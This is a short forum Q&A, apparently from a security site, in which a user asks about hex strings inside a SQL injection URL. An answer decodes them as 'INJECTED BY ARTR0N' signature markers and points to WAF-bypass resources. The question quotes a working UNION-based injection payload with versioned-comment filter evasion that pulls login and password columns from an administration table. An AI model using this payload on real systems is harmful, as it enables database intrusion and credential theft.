1. What would these hashes be in the query?
  2. How can I generate them?

http://www.example.com?id=-29/!50000UNION/ /!50000SELECT/ 1,2,0x3c68353e3c63656e7465723e494e4a45435445442042592041525452304e3c2f63656e7465723e3c2f68353e,4,5,0x494e4a45435445442042592041525452304e,7,8,9,10,11,12,13,14,15,16,17,18,/!50000UNHEX(HEX(GROUP_CONCAT(login,0x3a,senha)))/,0x494e4a45435445442042592041525452304e FROM administracao

  • 9
    Gotta love casually posting a live SQLi bug for a government website.
    – forest
    Commented Mar 30, 2018 at 6:33

1 Answer 1


Regarding first question:

  1. 0x494e4a45435445442042592041525452304e translates to "INJECTED BY ARTR0N"
  2. 0x3c68353e3c63656e7465723e494e4a45435445442042592041525452304e3c2f63656e7465723e3c2f68353e translates to <h5><center>INJECTED BY ARTR0N</center></h5>

Regarding your second question, check OWASP WAF Bypass and search "String to Hex Converter", You will get what you asked for.

Not the answer you're looking for? Browse other questions tagged .